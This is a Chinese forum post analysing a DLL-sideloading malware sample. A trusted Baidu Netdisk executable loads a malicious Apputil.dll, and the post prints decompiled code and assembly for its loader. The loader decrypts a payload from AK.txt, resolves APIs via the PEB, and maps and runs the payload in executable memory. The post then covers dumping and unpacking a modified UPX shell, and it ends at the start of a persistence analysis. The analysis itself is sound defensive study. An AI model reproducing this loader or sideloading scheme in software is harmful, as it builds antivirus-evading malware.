首页
社区
课程
招聘
[原创] 恶意代码分析:记一次对过核晶白加黑样本的逆向实战
发表于: 2025-1-9 08:41 1749

[原创] 恶意代码分析:记一次对过核晶白加黑样本的逆向实战

2025-1-9 08:41
1749

关于本篇文章

本次实战样本收集于360社区的样本提交帖子,该样本提交于当前发帖时间的六个月之前,也即2024年7月,现该样本已被各大杀软的病毒库拉黑。

考虑到目前的社区环境中,有关恶意代码分析的实战样本多少都有点年头,因而对于包括我在内想要了解当前环境下免杀APT开发规范的人,除了能提供一些方法论上的帮助之外,实用价值不算大。

那么对于想了解这些知识,又不想买免杀课等着讲师把知识喂到嘴里的人来说,逆向一个现成的免杀样本要更有学习价值一些;

P.S 《恶意代码分析实战》对我的帮助很大,我的分析过程大体也按照该书的章节顺序来安排,如果这篇文章阅读起来对你来说略感吃力,那么我非常推荐你先去看看这本书


实验环境与工具

  • 虚拟机:VMware 17.5.1.55451

    • 操作系统:windows 10 

    • 版本号:    1909

  • 调试器: x96dbg与Ollydbg

    • SharpOD反反调插件

  • 反汇编器: IDA 9.0

    • hrt插件 

    • 插件链接:767K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6w2j5i4y4H3k6i4u0K6K9%4W2x3j5h3u0Q4x3V1k6Z5M7Y4c8F1k6H3`.`.

  • Dependencies 查看dll依赖项 

    • 项目链接:599K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6D9N6h3y4S2M7$3N6Q4x3V1k6p5k6i4m8W2L8X3c8W2L8X3y4A6k6i4x3`.

  • 火绒剑(现已更名火绒安全分析工具,可在火绒的安全工具界面找到)


  • CFF Explorer


  • winhex


前期信息收集

样本目录如图所示


当前目录下值得关注的文件:

  • Apputil.dll

  • AK.txt

  • 被利用的白程序BaiduNetdiskForBusiness


BaiduNetdiskForBusiness的依赖dll如图所示

这一样本的白加黑利用所劫持的dll肯定是未公开的,所以我们先忽略掉所有的系统自带dll,而关注同级目录下厂商的自定义dll

而文件Apputil.dll是整个目录中唯一没有合法签名的dll,我们基本可以认定Apputil.dll就是被劫持的黑dll



文件AK.txt所储存的是没有任何意义的16进制字节


显然有经验的读者已经猜出来这玩意是啥了,但我们暂且按下不表,既然Apputil.dll被认定为是黑dll,那么就拖入IDA开始分析


对黑DLL的分析


对一个dll的分析方向,或者说对所有的目标程序进行逆向都可以分为两个方面:

  1. 通过主入口点按顺序进行分析

  2. 通过对使用的API/字符串进行局部分析,随后寻找交叉引用来回溯推导

我个人习惯第二种方式,因为只用考虑关键的局部功能,分析完毕后再推导其调用位置的关系以形成对整个程序总体上运行逻辑的印象,对认知的负担会小一些

那么哪怕是新手也能看出整个目录中比较可疑的就是一个没有意义的.txt文件,既然它存在就肯定有其作用


字符串搜索

IDA->view选项栏->Open Subviews->找到strings,全局搜索静态字符串有没有名为ak.txt的地方,结果未能找到


函数搜索

哪怕静态无法搜索到该字符串,也能确定的ak.txt肯定会被使用,《恶意代码分析实战》中列出了一些值得关注的函数,其中也包括文件操作函数

我们首先使用CreateFile函数碰碰运气,进入IDA的导入标签,搜索CreateFile,先选择使用ACSII编码的CreateFileA,随后按下X寻找该函数的交叉引用

可以看见被同一个函数调用两次,该函数已经被我分析并命名,我们运气不错,找到了一个关键点


get_shellcode_and_run函数分析

int get_shellcode_and_run()
{
  DWORD NumberOfBytesRead; // [esp+8h] [ebp-13Ch] BYREF
  LPVOID lpBuffer_1; // [esp+Ch] [ebp-138h]
  unsigned int count; // [esp+10h] [ebp-134h]
  char *__AK.txt_2; // [esp+14h] [ebp-130h]
  DWORD nNumberOfBytesToRead; // [esp+18h] [ebp-12Ch]
  char *__AK.txt_1; // [esp+1Ch] [ebp-128h]
  LPVOID lpBuffer; // [esp+20h] [ebp-124h]
  HANDLE hFile; // [esp+24h] [ebp-120h]
  char *__AK.txt_3; // [esp+28h] [ebp-11Ch]
  char *v10; // [esp+2Ch] [ebp-118h]
  char v12; // [esp+33h] [ebp-111h] BYREF
  CHAR Filename[260]; // [esp+34h] [ebp-110h] BYREF
  char __AK.txt[8]; // [esp+138h] [ebp-Ch] BYREF

  strcpy(__AK.txt, "\\AK.txt");
  GetModuleFileNameA(0, Filename, 0x104u);
  PathRemoveFileSpecA(Filename);
  __AK.txt_1 = __AK.txt;
  v10 = &__AK.txt[strlen(__AK.txt) + 1];
  __AK.txt_2 = __AK.txt;
  count = v10 - __AK.txt;
  __AK.txt_3 = &v12;
  while ( *++__AK.txt_3 )
    ;
  qmemcpy(__AK.txt_3, __AK.txt_2, count);
  hFile = CreateFileA(Filename, 0x80000000, 1u, 0, 3u, 0x80u, 0);
  if ( hFile != (HANDLE)-1 )
  {
    nNumberOfBytesToRead = GetFileSize(hFile, 0);
    lpBuffer_1 = (LPVOID)sub_706B45B0(nNumberOfBytesToRead);
    lpBuffer = lpBuffer_1;
    NumberOfBytesRead = 0;
    ReadFile(hFile, lpBuffer_1, nNumberOfBytesToRead, &NumberOfBytesRead, 0);
    if ( lpBuffer )
      de_code_shellcode(lpBuffer);
  }
  return 0;
}

AK.txt是作为参数入参,由于是通过单个字符串压入栈中的局部变量参数,这才导致字符串没有被搜索到


反汇编生成的伪代码显示Filename似乎只是一个目录名,但如果看汇编的话会发现这是一个字符串拼接,ebp+var_c偏移被放到118h偏移处,也即Filename(-110h)附近

.text:706B2B70 get_shellcode_and_run proc near         ; CODE XREF: AppUtil::Misc::VersionInfoDecode(wchar_t * *,int)↓p
.text:706B2B70
.text:706B2B70 NumberOfBytesRead= dword ptr -13Ch
.text:706B2B70 var_138         = dword ptr -138h
.text:706B2B70 var_134         = dword ptr -134h
.text:706B2B70 var_130         = dword ptr -130h
.text:706B2B70 nNumberOfBytesToRead= dword ptr -12Ch
.text:706B2B70 var_128         = dword ptr -128h
.text:706B2B70 lpBuffer        = dword ptr -124h
.text:706B2B70 hFile           = dword ptr -120h
.text:706B2B70 var_11C         = dword ptr -11Ch
.text:706B2B70 var_118         = dword ptr -118h
.text:706B2B70 var_112         = byte ptr -112h
.text:706B2B70 var_111         = byte ptr -111h
.text:706B2B70 Filename        = byte ptr -110h
.text:706B2B70 var_C           = byte ptr -0Ch
.text:706B2B70 var_4           = dword ptr -4
.text:706B2B70
.text:706B2B70                 push    ebp
.text:706B2B71                 mov     ebp, esp
.text:706B2B73                 sub     esp, 13Ch
.text:706B2B79                 mov     eax, ___security_cookie
.text:706B2B7E                 xor     eax, ebp
.text:706B2B80                 mov     [ebp+var_4], eax
.text:706B2B83                 push    esi
.text:706B2B84                 push    edi
.text:706B2B85                 mov     [ebp+var_C], 5Ch ; '\'
.text:706B2B89                 mov     [ebp+var_C+1], 41h ; 'A'
.text:706B2B8D                 mov     [ebp+var_C+2], 4Bh ; 'K'
.text:706B2B91                 mov     [ebp+var_C+3], 2Eh ; '.'
.text:706B2B95                 mov     [ebp+var_C+4], 74h ; 't'
.text:706B2B99                 mov     [ebp+var_C+5], 78h ; 'x'
.text:706B2B9D                 mov     [ebp+var_C+6], 74h ; 't'
.text:706B2BA1                 mov     [ebp+var_C+7], 0
.text:706B2BA5                 push    104h            ; nSize
.text:706B2BAA                 lea     eax, [ebp+Filename]
.text:706B2BB0                 push    eax             ; lpFilename
.text:706B2BB1                 push    0               ; hModule
.text:706B2BB3                 call    ds:GetModuleFileNameA
.text:706B2BB9                 lea     ecx, [ebp+Filename]
.text:706B2BBF                 push    ecx             ; pszPath
.text:706B2BC0                 call    ds:PathRemoveFileSpecA
.text:706B2BC6                 lea     edx, [ebp+var_C]
.text:706B2BC9                 mov     [ebp+var_118], edx
.text:706B2BCF                 mov     eax, [ebp+var_118]
.text:706B2BD5                 mov     [ebp+var_128], eax
.text:706B2BDB
.text:706B2BDB loc_706B2BDB:                           ; CODE XREF: get_shellcode_and_run+87↓j
.text:706B2BDB                 mov     ecx, [ebp+var_118]
.text:706B2BE1                 mov     dl, [ecx]
.text:706B2BE3                 mov     [ebp+var_111], dl
.text:706B2BE9                 add     [ebp+var_118], 1
.text:706B2BF0                 cmp     [ebp+var_111], 0
.text:706B2BF7                 jnz     short loc_706B2BDB
.text:706B2BF9                 mov     eax, [ebp+var_118]
.text:706B2BFF                 sub     eax, [ebp+var_128]
.text:706B2C05                 mov     ecx, [ebp+var_128]
.text:706B2C0B                 mov     [ebp+var_130], ecx
.text:706B2C11                 mov     [ebp+var_134], eax
.text:706B2C17                 lea     edx, [ebp+Filename]
.text:706B2C1D                 add     edx, 0FFFFFFFFh
.text:706B2C20                 mov     [ebp+var_11C], edx
.text:706B2C26
.text:706B2C26 loc_706B2C26:                           ; CODE XREF: get_shellcode_and_run+D3↓j
.text:706B2C26                 mov     eax, [ebp+var_11C]
.text:706B2C2C                 mov     cl, [eax+1]
.text:706B2C2F                 mov     [ebp+var_112], cl
.text:706B2C35                 add     [ebp+var_11C], 1
.text:706B2C3C                 cmp     [ebp+var_112], 0
.text:706B2C43                 jnz     short loc_706B2C26
.text:706B2C45                 mov     edi, [ebp+var_11C]
.text:706B2C4B                 mov     esi, [ebp+var_130]
.text:706B2C51                 mov     edx, [ebp+var_134]
.text:706B2C57                 mov     ecx, edx
.text:706B2C59                 shr     ecx, 2
.text:706B2C5C                 rep movsd
.text:706B2C5E                 mov     ecx, edx
.text:706B2C60                 and     ecx, 3
.text:706B2C63                 rep movsb
.text:706B2C65                 push    0               ; hTemplateFile
.text:706B2C67                 push    80h             ; dwFlagsAndAttributes
.text:706B2C6C                 push    3               ; dwCreationDisposition
.text:706B2C6E                 push    0               ; lpSecurityAttributes
.text:706B2C70                 push    1               ; dwShareMode
.text:706B2C72                 push    80000000h       ; dwDesiredAccess
.text:706B2C77                 lea     eax, [ebp+Filename]
.text:706B2C7D                 push    eax             ; lpFileName
.text:706B2C7E                 call    ds:CreateFileA

获得当前运行的目录路径,拼接\\AK.txt成为完整字符串,随后作为CreateFileA的参数打开该文件,动态调试验证了这一点

调用ReadFile传入CreateFileA返回的文件句柄,将读到的文件内容传入缓冲区lpBuffer_1,最后将缓冲区地址传入解密函数de_code_shellcode


de_code_shellcode函数分析

int __stdcall de_code_shellcode(_WORD *encrypt_shellcode)
{
  void (__stdcall *run_shellcode)(int, int, _WORD *); // [esp+Ch] [ebp-F4h]
  int v3; // [esp+18h] [ebp-E8h]
  int n522818080; // [esp+38h] [ebp-C8h]
  int jj; // [esp+3Ch] [ebp-C4h]
  int hModule; // [esp+40h] [ebp-C0h] BYREF
  unsigned int v7; // [esp+44h] [ebp-BCh]
  unsigned int i; // [esp+48h] [ebp-B8h]
  int size; // [esp+4Ch] [ebp-B4h] BYREF
  unsigned int i4; // [esp+50h] [ebp-B0h]
  unsigned int i3; // [esp+54h] [ebp-ACh]
  int i2; // [esp+58h] [ebp-A8h]
  int i1; // [esp+5Ch] [ebp-A4h]
  _WORD *v14; // [esp+60h] [ebp-A0h]
  unsigned int mm; // [esp+64h] [ebp-9Ch]
  unsigned int kk; // [esp+68h] [ebp-98h]
  unsigned int ii; // [esp+6Ch] [ebp-94h]
  struct _LIST_ENTRY *Flink; // [esp+70h] [ebp-90h] BYREF
  struct _LIST_ENTRY *LdrGetProcedureAddress; // [esp+74h] [ebp-8Ch]
  struct _LIST_ENTRY *LdrLoadDll; // [esp+78h] [ebp-88h]
  struct _LIST_ENTRY *NtAllocateVirtualMemory; // [esp+7Ch] [ebp-84h]
  struct _LIST_ENTRY *NtFreeVirtualMemory; // [esp+80h] [ebp-80h]
  struct _LIST_ENTRY *RtlDecompressBuffer; // [esp+84h] [ebp-7Ch]
  NTSTATUS (__stdcall *RtlAnsiStringToUnicodeString)(PUNICODE_STRING, PCANSI_STRING, BOOLEAN); // [esp+88h] [ebp-78h]
  void (__stdcall *RtlFreeAnsiString)(PANSI_STRING); // [esp+8Ch] [ebp-74h]
  _WORD *unpacked_shellcode; // [esp+90h] [ebp-70h] BYREF
  char v27[4]; // [esp+94h] [ebp-6Ch] BYREF
  struct _PEB *v28; // [esp+98h] [ebp-68h]
  _WORD *dos_header; // [esp+9Ch] [ebp-64h]
  _DWORD *nt_header; // [esp+A0h] [ebp-60h]
  int image_base; // [esp+A4h] [ebp-5Ch] BYREF
  int nt_eaders; // [esp+A8h] [ebp-58h]
  int v33; // [esp+ACh] [ebp-54h]
  LSA_UNICODE_STRING DestinationString; // [esp+B0h] [ebp-50h] BYREF
  STRING SourceString; // [esp+B8h] [ebp-48h] BYREF
  _DWORD *pFuncaddr; // [esp+C0h] [ebp-40h]
  int n1916120355; // [esp+C4h] [ebp-3Ch]
  int n2116391997; // [esp+C8h] [ebp-38h]
  int n1980138811; // [esp+CCh] [ebp-34h]
  int *num; // [esp+D0h] [ebp-30h]
  _DWORD *nn; // [esp+D4h] [ebp-2Ch]
  _DWORD *v42; // [esp+D8h] [ebp-28h]
  int n2117308195; // [esp+DCh] [ebp-24h]
  int n1930532629; // [esp+E0h] [ebp-20h]
  unsigned int n; // [esp+E4h] [ebp-1Ch]
  int m; // [esp+E8h] [ebp-18h]
  _DWORD *v47; // [esp+ECh] [ebp-14h]
  unsigned __int16 *k; // [esp+F0h] [ebp-10h]
  _DWORD *v49; // [esp+F4h] [ebp-Ch]
  _DWORD *ImportDirectory; // [esp+F8h] [ebp-8h]
  struct _LIST_ENTRY *j; // [esp+FCh] [ebp-4h]

  for ( i = 0; i < 0x50; ++i )
    *((_BYTE *)&Flink + i) = 0;
  v28 = NtCurrentPeb();
  for ( j = v28->Ldr->InLoadOrderModuleList.Flink; j[3].Flink; j = j->Flink )
  {
    if ( (j[6].Flink->Flink == (struct _LIST_ENTRY *)78 || j[6].Flink->Flink == (struct _LIST_ENTRY *)110)
      && HIWORD(j[6].Flink->Flink) == 116
      && HIWORD(j[6].Flink->Blink) == LOWORD(j[6].Flink[1].Flink) )
    {
      Flink = j[3].Flink;
    }
    if ( Flink )
      break;
  }
  v49 = (struct _LIST_ENTRY **)((char *)&(*(struct _LIST_ENTRY **)((char *)&Flink[7].Blink[15].Flink
                                                                 + (unsigned int)Flink))->Flink
                              + (unsigned int)Flink);
  v47 = (struct _LIST_ENTRY **)((char *)&Flink->Flink + v49[8]);
  for ( k = (unsigned __int16 *)((char *)Flink + v49[9]); ; ++k )
  {
    n1930532629 = *(int *)((char *)&Flink->Flink + *v47) ^ 0x1F50E04F;
    n2117308195 = *(int *)((char *)&Flink->Blink + *v47) ^ 0x1F50E04F;
    n1980138811 = *(int *)((char *)&Flink[1].Flink + *v47) ^ 0x1F50E04F;
    n2116391997 = *(int *)((char *)&Flink[1].Blink + *v47) ^ 0x1F50E04F;
    n1916120355 = *(int *)((char *)&Flink[2].Flink + *v47) ^ 0x1F50E04F;
    n522818080 = *(int *)((char *)&Flink[2].Blink + *v47) ^ 0x1F50E04F;
    if ( !NtAllocateVirtualMemory
      && n1930532629 == 1930532629
      && n2117308195 == 2117308195
      && n1980138811 == 1980138811
      && n2116391997 == 2116391997
      && n1916120355 == 1916120355
      && n522818080 == 522818080 )
    {
      NtAllocateVirtualMemory = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7])
                                                     + (unsigned int)Flink);
    }
    if ( !NtFreeVirtualMemory
      && n1930532629 == 1830197013
      && n2117308195 == 1980138794
      && n1980138811 == 2116391997
      && n2116391997 == 1916120355
      && n1916120355 == 522818080 )
    {
      NtFreeVirtualMemory = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7])
                                                 + (unsigned int)Flink);
    }
    if ( !LdrLoadDll && n1930532629 == 0x53228403 && n2117308195 == 1530167584 )
      LdrLoadDll = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink);
    if ( !LdrGetProcedureAddress
      && n1930532629 == 0x58228403
      && n2117308195 == 1828754474
      && n1980138811 == 2067104544
      && n2116391997 == 1580569146
      && n1916120355 == 2049082411 )
    {
      LdrGetProcedureAddress = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7])
                                                    + (unsigned int)Flink);
    }
    if ( !RtlAnsiStringToUnicodeString
      && n1930532629 == 1581028381
      && n2117308195 == 1278841633
      && n1980138811 == 1899598395
      && n2116391997 == 1245688872
      && n1916120355 == 1882425633
      && n522818080 == 0x6B03852B )
    {
      RtlAnsiStringToUnicodeString = (NTSTATUS (__stdcall *)(PUNICODE_STRING, PCANSI_STRING, BOOLEAN))(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7]) + (unsigned int)Flink);
    }
    if ( !RtlFreeAnsiString
      && n1930532629 == 1497142301
      && n2117308195 == 1245021501
      && n1980138811 == 1882425633
      && n2116391997 == 1795392811
      && n1916120355 == 2017364285 )
    {
      RtlFreeAnsiString = (void (__stdcall *)(PANSI_STRING))(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7])
                                                           + (unsigned int)Flink);
    }
    if ( !RtlDecompressBuffer
      && n1930532629 == 0x5B3C941D
      && n2117308195 == 0x723F832A
      && n1980138811 == 0x6C35923F
      && n2116391997 == 0x7925A23C
      && (n1916120355 == 0x726566) != 0x1F50E04F )
    {
      RtlDecompressBuffer = (struct _LIST_ENTRY *)(*(char **)((char *)&Flink->Flink + 4 * *k + v49[7])
                                                 + (unsigned int)Flink);
    }
    if ( LdrLoadDll
      && NtAllocateVirtualMemory
      && NtFreeVirtualMemory
      && LdrGetProcedureAddress
      && RtlFreeAnsiString
      && RtlAnsiStringToUnicodeString )
    {
      break;
    }
    ++v47;
  }
  for ( m = 0; m < 4; ++m )
  {
    encrypt_shellcode[m + 2] += encrypt_shellcode[1];
    encrypt_shellcode[m + 2] ^= *encrypt_shellcode;
    *encrypt_shellcode += m + 2190;
  }
  for ( n = 4; n < *((_DWORD *)encrypt_shellcode + 2) >> 1; ++n )
  {
    encrypt_shellcode[n + 2] += encrypt_shellcode[1];
    encrypt_shellcode[n + 2] ^= *encrypt_shellcode;
    *encrypt_shellcode += n + 2190;
  }
  size = *((_DWORD *)encrypt_shellcode + 1);
  ((void (__stdcall *)(int, _WORD **, _DWORD, int *, int, int))NtAllocateVirtualMemory)(
    -1,
    &unpacked_shellcode,
    0,
    &size,
    0x1000,
    4);                                         // NtAllocateVirtualMemory
  ((void (__stdcall *)(int, _WORD *, _DWORD, _WORD *, _DWORD, char *))RtlDecompressBuffer)(// RtlDecompressBuffer
    258,
    unpacked_shellcode,
    *((_DWORD *)encrypt_shellcode + 1),
    encrypt_shellcode + 6,
    *((_DWORD *)encrypt_shellcode + 2),
    v27);
  dos_header = unpacked_shellcode;
  if ( *unpacked_shellcode != 0x5A4D )
    return 0;
  nt_header = (_DWORD *)((char *)unpacked_shellcode + *((_DWORD *)dos_header + 0xF));
  if ( *nt_header != 0x4550 )
    return 0;
  size = nt_header[20];                         // nt_header->opt_header->sizeofimage
  ((void (__stdcall *)(int, int *, _DWORD, int *, int, int))NtAllocateVirtualMemory)(
    -1,
    &image_base,
    0,
    &size,
    0x1000,
    0x40);                                      // NtAllocateVirtualMemory
  if ( !image_base )
    return 0;
  for ( ii = 0; ii < nt_header[21]; ++ii )      // nt_header->opt_header->sizeofheader
    *(_BYTE *)(ii + image_base) = *((_BYTE *)dos_header + ii);
  nt_eaders = *((_DWORD *)dos_header + 0xF) + image_base;
  *(_DWORD *)(nt_eaders + 0x34) = image_base;   // 重定位imagebase
  v42 = (_DWORD *)(nt_eaders + *(unsigned __int16 *)(nt_eaders + 0x14) + 0x18);
  for ( jj = 0; jj < *(unsigned __int16 *)(nt_eaders + 6); ++jj )
  {
    if ( v42[4] )
    {
      for ( kk = 0; kk < v42[4]; ++kk )
        *(_BYTE *)(kk + v42[3] + image_base) = *((_BYTE *)unpacked_shellcode + v42[5] + kk);
    }
    else if ( nt_header[14] )
    {
      for ( mm = 0; mm < nt_header[14]; ++mm )
        *(_BYTE *)(mm + v42[3] + image_base) = 0;
    }
    v42 += 10;
  }
  v33 = image_base - nt_header[13];
  if ( v33 && *(_DWORD *)(nt_eaders + 0xA4) )
  {
    for ( nn = (_DWORD *)(*(_DWORD *)(nt_eaders + 160) + image_base); *nn; nn = (_DWORD *)((char *)nn + nn[1]) )
    {
      v3 = *nn + image_base;
      v14 = nn + 2;
      v7 = 0;
      while ( v7 < (unsigned int)(nn[1] - 8) >> 1 )
      {
        if ( (int)(unsigned __int16)*v14 >> 12 == 3 )
          *(_DWORD *)((*v14 & 0xFFF) + v3) += v33;
        ++v7;
        ++v14;
      }
    }
  }
  if ( *(_DWORD *)(nt_eaders + 0x84) )          // 判断是否有导入表 if(ImportDirectory.size)
  {
    for ( ImportDirectory = (_DWORD *)(*(_DWORD *)(nt_eaders + 0x80) + image_base);
          ImportDirectory && ImportDirectory[3];// IMAGE_IMPORT_DIRECTORY.Name
          ImportDirectory += 5 )                // 获得导入表项dll字符,并初始化Unicode
    {
      SourceString.Buffer = (char *)(ImportDirectory[3] + image_base);// IMAGE_IMPORT_DIRECTORY.Name
      for ( i1 = 0; SourceString.Buffer[i1]; ++i1 )
        ;
      SourceString.Length = i1;
      SourceString.MaximumLength = i1 + 1;
      RtlAnsiStringToUnicodeString(&DestinationString, &SourceString, 1);// RtlAnsiStringToUnicodeString
      ((void (__stdcall *)(_DWORD, _DWORD, LSA_UNICODE_STRING *, int *))LdrLoadDll)(0, 0, &DestinationString, &hModule);// LdrLoadDll
      RtlFreeAnsiString((PANSI_STRING)&DestinationString);// RtlFreeAnsiString
      if ( !hModule )
        return 0;
      if ( *ImportDirectory )
        num = (int *)(*ImportDirectory + image_base);
      else
        num = (int *)(ImportDirectory[4] + image_base);
      for ( pFuncaddr = (_DWORD *)(ImportDirectory[4] + image_base); *num; ++pFuncaddr )// 指针引用,通过名字与序号重定位导入表
      {
        if ( *num >= 0 )                        // 序号导出/名称导出
        {
          SourceString.Buffer = (char *)(*num + image_base + 2);
          for ( i2 = 0; SourceString.Buffer[i2]; ++i2 )
            ;
          SourceString.Length = i2;
          SourceString.MaximumLength = i2 + 1;
          ((void (__stdcall *)(int, STRING *, _DWORD, _DWORD *))LdrGetProcedureAddress)(
            hModule,
            &SourceString,
            0,
            pFuncaddr);                         // LdrGetProcedureAddress
        }
        else
        {
          ((void (__stdcall *)(int, _DWORD, _DWORD, _DWORD *))LdrGetProcedureAddress)(
            hModule,
            0,
            (unsigned __int16)*num,
            pFuncaddr);
        }
        if ( !*pFuncaddr )
          break;
        ++num;
      }
    }
  }
  run_shellcode = (void (__stdcall *)(int, int, _WORD *))(*(_DWORD *)(nt_eaders + 0x28) + image_base);// 代码EntryPoint
  for ( i3 = 0; i3 < 4; ++i3 )
    *(_BYTE *)(i3 + image_base) = 0;
  for ( i4 = 0; i4 < 4; ++i4 )
    *(_BYTE *)(i4 + nt_eaders) = 0;
  if ( *(_DWORD *)(nt_eaders + 0x28) )
    run_shellcode(image_base, 1, encrypt_shellcode);// 执行shellcode
  ((void (__stdcall *)(int, _WORD **, int *, int))NtFreeVirtualMemory)(-1, &unpacked_shellcode, &size, 0x4000);// NtFreeVirtualMemory
  return image_base;
}

该函数的前半部分我没有仔细分析,基本逻辑就是得到当前进程的PEB后遍历PEB_LDR_DATA结构体来获得当前进程加载的模块信息,随后模式搜索获得模块内的函数地址,以此通过函数指针的间接调用来规避逆向工程以及杀软对敏感API的扫描监控,在动态调试的过程中验证了这一点,我根据动态调试的信息重新命名了每个函数指针以及结构体变量(不知道为什么我的IDA 9.0 在新建type的时候无法添加C风格的说明导致结构体没法创建,因而只能先对每个变量进行重新命名)。


而后半部分则是对shellcode进行解密,在解密后出现了典型的对0x5A4D与0x4550的标志判断,至此我们就可以确定AK.txt所储存的一堆无意义字节实际上就是被加密的shellcode,一个可执行文件在内存中被动态解密出来,并通过PE解析来获得PE文件的信息,在我对伪代码的注释中已经表明各部分的功能。


现在所需要确定的就是get_shellcode_and_run如何被调用,xerf显示get_shellcode_and_run的调用位置是VersionInfoDecode,而VersionInfoDecode没有被任何地方显式声明,只是存储在一个固定内存偏移,《恶意代码分析》中将函数被储存于内存固定偏移而无调用的形式解释为两种可能:

  1. 该函数是一个被子类所重写的虚函数,导致汇编指令的实现是通过call reg的形式而无法在静态分析时被查找

  2. 该函数是一个在导出表之中等待目标调用的导出函数

int __cdecl AppUtil::Misc::VersionInfoDecode()
{
  get_shellcode_and_run();
  return ori_VersionInfoDecode();
}

而毫无疑问VersionInfoDecode属于第二种,在Exports标签中被搜索到


黑dll分析总结

至此Apputil.dll的行为逻辑就很清晰了:

  1. 白程序BaiduNetdiskForBusiness启动后载入Apputil.dll

  2. Apputil.dll的导出函数VersionInfoDecode被劫持,在被调用时会进入get_shellcode_and_run

  3. get_shellcode_and_run通过GetModuleFileNameA获得当前进程路径,PathRemoveFileSpecA(Filename)获得当前运行目录路径,最后拼接加密shellcode文件AK.txt得到完整路径字符串

  4. CreateFileA打开拼接后的路径,随后ReadFile将加密shellcode数据放入缓冲区,将缓冲区入参调用de_code_shellcode

  5. de_code_shellcode对加密数据进行解密,解析解密后的PE文件定位至EntryPoint,将其强转为函数,直接执行shellcode



对shellcode的分析

在经过分析后发现权限维持行为并不存在于黑dll之中,所以权限维持、开机自启、创建进程等一系列操作都被放入到了shellcode

而想要获得shellcode的二进制文件则有两个渠道:

  1. 使用相同的解密算法来解密ak.txt

  2. 直接从内存中dump出来

第二种方法省事得多,我们只需要等待内存解密的逻辑执行完成。


dump shellcode

  ((void (__stdcall *)(int, int *, _DWORD, int *, int, int))NtAllocateVirtualMemory)(
    -1,
    &image_base,
    0,
    &size,
    0x1000,
    0x40);

shellcode的内存特征很好识别,我们只需要在动态调试时查看BaseAddress参数的指针所指向的地址,并且确认该地址的页面保护属性是否是如同伪代码一样的PAGE_EXECUTE_READWRITE(0x40)就能确定需要dump的位置,在这次分析中dump的内存地址为0x04540000

if ( *(_DWORD *)(nt_eaders + 0x84) )          // 判断是否有导入表 if(ImportDirectory.size)
  {
    for ( ImportDirectory = (_DWORD *)(*(_DWORD *)(nt_eaders + 0x80) + image_base);
          ImportDirectory && ImportDirectory[3];// IMAGE_IMPORT_DIRECTORY.Name
          ImportDirectory += 5 )                // 获得导入表项dll字符,并初始化Unicode
    {
      SourceString.Buffer = (char *)(ImportDirectory[3] + image_base);// IMAGE_IMPORT_DIRECTORY.Name
      for ( i1 = 0; SourceString.Buffer[i1]; ++i1 )
        ;
      SourceString.Length = i1;
      SourceString.MaximumLength = i1 + 1;
      RtlAnsiStringToUnicodeString(&DestinationString, &SourceString, 1);// RtlAnsiStringToUnicodeString
      ((void (__stdcall *)(_DWORD, _DWORD, LSA_UNICODE_STRING *, int *))LdrLoadDll)(0, 0, &DestinationString, &hModule);// LdrLoadDll
      RtlFreeAnsiString((PANSI_STRING)&DestinationString);// RtlFreeAnsiString
      if ( !hModule )
        return 0;
      if ( *ImportDirectory )
        num = (int *)(*ImportDirectory + image_base);
      else
        num = (int *)(ImportDirectory[4] + image_base);
      for ( pFuncaddr = (_DWORD *)(ImportDirectory[4] + image_base); *num; ++pFuncaddr )// 指针引用,通过名字与序号重定位导入表
      {
        if ( *num >= 0 )                        // 序号导出/名称导出
        {
          SourceString.Buffer = (char *)(*num + image_base + 2);
          for ( i2 = 0; SourceString.Buffer[i2]; ++i2 )
            ;
          SourceString.Length = i2;
          SourceString.MaximumLength = i2 + 1;
          ((void (__stdcall *)(int, STRING *, _DWORD, _DWORD *))LdrGetProcedureAddress)(
            hModule,
            &SourceString,
            0,
            pFuncaddr);                         // LdrGetProcedureAddress
        }
        else
        {
          ((void (__stdcall *)(int, _DWORD, _DWORD, _DWORD *))LdrGetProcedureAddress)(
            hModule,
            0,
            (unsigned __int16)*num,
            pFuncaddr);
        }
        if ( !*pFuncaddr )
          break;
        ++num;
      }
    }
  }

从上述伪代码片段能看出导入表是被重新定位过的,因而一个需要注意的点是如果你直接运行到ep进入前的位置进行dump,就会使导入表中所记录的导出函数地址变成一个绝对地址,而这肯定会导致dump出的文件出现寻址错误;

在重定位导入表逻辑执行前进行dump即可规避这一问题。


脱壳dump出的shellcode.dll

第一步我们先对dump出的文件进行查壳,会发现是经典的upx压缩壳

虽然节区名与upx签名特征都未被更改,但常规的upx -d无法脱下我们dump出的shellcode.dll,可以确定该样本的编写者自己二开了upx。

考虑到UPX并不像TMD或VMP等代码虚拟化强壳那般复杂,其作用仅仅是对文件进行压缩,而没有任何虚假控制流、指令替换等混淆操作,因而我们选择手脱UPX,只需要定位到oep让IDA能够正常分析即可。

我选择使用一种对付UPX壳最简单易懂的定位OEP方式,全程你只需要用到F8和F4;

如下图所示,你在脱UPX时会经常发现自己进入了一段循环之中,这种循环操作基本就可以认定为程序正在自解压,当你碰到类似的循环时只需要F4到jxx指令的下一条继续单步执行即可

当你单步多次后会碰见一段标志性指令,popad恢复所有寄存器,在该指令的附近则会存在一个大范围Jmp,如下图

这一jmp会跳转到shellcode的真正入口点,也即OEP(程序原入口点),使用x32dbg自带的Scylla插件将运行到OEP的EIP设置为新入口点,脱壳后的shellcode.dll就可以拖入IDA正常分析了


存活机制分析

想要使恶意程序实现开机自启使权限持续存在的手段无非三种:

  1. 注册表写入开机启动项键值

  2. 计划任务

  3. 系统服务

考虑到白加黑程序在做权限维持时,基本都会利用杀软对白程序的信任明目张胆得使用API或命令行,而无论是哪种权限维持其最终都会影响到注册表的表项,因而我们先从注册表相关的导入函数入手


is_service_existed函数的分析

BOOL is_service_existed()
{
  HKEY phkResult; // [esp+0h] [ebp-444h] BYREF
  DWORD Type; // [esp+4h] [ebp-440h] BYREF
